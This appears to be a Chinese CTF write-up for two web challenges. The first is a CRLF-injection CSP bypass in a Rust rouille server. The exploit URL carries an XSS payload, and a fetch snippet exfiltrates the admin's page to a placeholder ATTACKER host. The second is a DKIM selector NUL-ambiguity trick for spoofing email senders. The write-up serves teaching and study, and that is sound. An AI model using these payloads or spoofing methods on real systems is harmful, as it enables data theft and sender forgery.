题目给出的是一个使用Rust编写的Web服务器,使用IDA打开。由于没有删去符号信息,所以可以看到相应逻辑对应的处理函数。(这道题其实没有考察任何逆向,给二进制文件是想告诉选手使用的http库)
由于存在rouille::session::session类似函数,可以分析出,其使用的web服务器框架为:https://github.com/tomaka/rouille
通过逆向(其实根据实际来说,更多的选手是黑盒发现的)发现,在get_note函数当中,设置了CSP的HTTP头,以及Note-ID的HTTP头。
对应的HTTP响应如下
通过测试可以发现rouille所使用的
tiny_http = { version = "0.12.0", default-features = false }
在设置Header时存在CRLF注入,因此可以通过CRLF注入绕过CSP。
然后随便构造一下exp
http://127.0.0.1:8000/note/123123%0d%0aA:B%0d%0a%0d%0a%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E%0d%0a%0d%0a
由于Cookie设置了http-only,所以我们需要通过CSRF获取admin的blog内容
fetch('/blog')
.then((response) => response.text())
.then((data) => btoa(data))
.then((data) => location.replace(`http://ATTACKER/?data=${data}`))
从而获取到flag的uuid,值得注意的是这里远程访问的是localhost:8000
本题主要想考察的是邮件的 DKIM 验证中的域名 NUL ambiguity 攻击,所以主要的漏洞并不出在网页中,而在于欢迎邮件里间接提到的邮箱 SMTP 服务器
题目中仅有管理员才能在网页中获取到 flag,而观察到网页渲染 HTML 邮件的方式是采用 .innerHTML 的方式,易想到通过邮件 XSS 来达到目的
而邮件平台禁止了除指定邮箱外的邮件地址向管理员发件,通过向自己的账号发件可发现单独伪造发信人会被平台判为垃圾邮件无法打开,而下载的邮件源文件可以看到额外添加的 DKIM验证头 Teapot-Authentication-Result,故可以猜测验证发信人核心部分是 DKIM 验证
DKIM 验证中最重要一环是去查询对应域名 TXT 记录中的公钥,如果选手了解 DKIM 验证的构造,也知道常见的由于用户输入而导致查询 DNS 记录时查询域名出现歧义的问题,可以尝试通过 这类特殊字符混入邮件 DKIM 头内的验证域名的 selector 中,即可以将验证的域名导向任意域名而不触发域名对齐验证的失败。故可以使用自己的私钥签名邮件,自己创建一个 DNS 记录放置公钥,使用如上方法将邮件验证导向自己的域名,通过发件人验证
在假冒发信人发送邮件成功后,可以发现仅通过访问自己的服务器等并不能带出 flag 回显,实际上管理员 bot 环境是不能出网的(出题人的坏心眼可多了